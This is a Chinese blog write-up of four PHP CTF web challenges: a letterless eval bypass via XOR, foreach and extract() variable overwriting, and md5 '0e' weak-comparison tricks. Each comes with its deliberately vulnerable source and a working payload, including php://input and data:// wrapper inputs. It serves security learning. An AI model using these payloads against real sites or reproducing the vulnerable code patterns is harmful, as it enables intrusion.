分享一些题目

一、无字母webshell,题目如下

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

这里的话提示我们执行getFlag这个函数,可以利用异或绕过正则匹配,原理的话就不详细讲了。

  $_="`{{{"^"?<>/"; //_GET ${$_}[_](${$_}[__]); //$_GET[_]($_GET[__]) &_=getFlag //执行函数 eval("getFlag(null)") 

令变量$_="`{{{"^"?<>/",然后将该变量带入后面的{$_}中得到$_GET[_]($_GET[__]),因为_=getFlag,而__=null,所以后面就变成了getFlag("null"),便可以执行getFlag命令了。(不能把{$_}的{}去掉,如果去掉了,服务器会把$_当成字符而不是变量)

二、foreach变量覆盖

看一下题目,补充一些知识点,$_SERVER["REQUEST_METHOD"]是访问页面使用的请求方法(如get,post....),die()输出一条信息,并退出当前脚本。

<?php
   include "flag.php";

   $_403 = "Access Denied";

   $_200 = "Welcome Admin";

   if ($_SERVER["REQUEST_METHOD"] != "POST")
   {
         die("BugsBunnyCTF is here :p…");
   }
   if ( !isset($_POST["flag"]) )
   {
         die($_403);
   }
   foreach ($_GET as $key => $value)
   {
         $$key = $$value;
   }
   foreach ($_POST as $key => $value)
   {
         $$key = $value;
   }
   if ( $_POST["flag"] !== $flag )
   {
         die($_403);
   }
   echo "This is your flag : ". $flag . "\n";
   die($_200);
?>

这题的思路是先利用get将_200=flag,foreach执行后变成$_200=$flag,用$_200得到flag的值。

然后用post随便传一个flag=xxx,目的是为了满足题目要求请求方法中有post,同时传了一个flag=xxx,经过foreach执行后变成$flag=xxx,然后后面有个判断$_POST["flag"]是否等于$flag,这肯定是恒等于的,因为我们传flag=xxx则$_POST["flag"]=xxx,而前面的foreach执行后$flag=xxx,所以二者恒等。

三、弱类型比较

这题要令a[0]md5加密后的值等于md5('QNKCDZO'),同时a[0]不等于'QNKCDZO'

<?php
       error_reporting(0);
       if (empty($_GET['id'])) 
      {
            show_source(__FILE__);
            die();
      } 
      else 
     {
            include ('flag.php');
            $a = "www.OPENCTF.com";
            $id = $_GET['id'];
            @parse_str($id);
            if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) 
           {
                 echo $flag;
           } 
           else 
           {
                 exit('其实很简单其实并不难!');
           }
       }
?>

做这题之前补充一些需要利用的函数:parse_str()将查询字符串解析到变量中)

看个实例吧

<?php
parse_str("name=Bill&age=60");
echo $name."<br>";
echo $age;
?>

输出的结果为:
Bill
60

思路就是利用松散比较”==“,传一个id=a[0]=s878926199a,s878926199a经过md5加密后变成0e342768416822451524974117254469。

而QNKCDZOmd5加密后变成0e830400451993494058024219903391,可以看到两个字符串的哈希值都是0e+纯数字这种格式的字符串,在松散比较的时候会被认为是科学计数法,先做字符串到数字的转换,转换之后都是0的好多次方,结果都是0,所以可以相等。

四、extract变量覆盖

这是题目,这题的话分两种情况,先补充一个知识点,file_get_contents() 函数把整个文件读入一个字符串中。extract()的用法PHP extract() 函数 (w3school.com.cn)

<?php
   include "flag2.php";
   $flag = 'xxx';	
   extract($_GET);
   if (isset($gift)) 
  {
       $content = trim(file_get_contents($flag));
       if ($gift == $content) 
      {
            echo $flag2;
      } 
       else 
      {
           echo 'Oh..';    
      } 
  }
?>

一、如果xxx文件不存在,那么这题就简单多了。xxx文件不存在,那么trim(file_get_contents($flag))为null,则$content=null。

这时候我们传一个gift= 使null= null成立,输出flag2。

二、如果xxx文件存在,且里面的东西是大小写字母开头,我们有几种方法。

伪协议(上面的第一种情况也可用):

(1)php://input

payload: ?gift=9&flag=php://input(同时设置post为9)

原理的话,php://input是个可以访问请求的原始数据的只读流,可以这么理解,当我们用php://input在post传一个9时,相当于(只是相当于,二者并不相等)传了一个里面只有一个9的新文件,从而覆盖掉原来的xxx文件,然后$content=trim(file_get_contents($flag)=9,同时我们前面传了一个gitf=9,所以$gift等于$content,输出flag2。

(2)data://

payload:?gift=9&flag=data://,9

data协议:php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码。

可以这样做的原理我们可以类似于上面的php://input协议,区别在于data用get发送,php://input用post发送。

可能有的师傅会想到用php弱类型来做这道题,传一个gift=0,因为字符串和数字0比较,字符串会转换为数字0,0=0所以可以成功。但在这题不行,为什么呢?在学长的指点下.......因为extract接收的是一个字符串,所以传gift=0中的0是字符串,字符串与字符串比较必须得完全相同。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值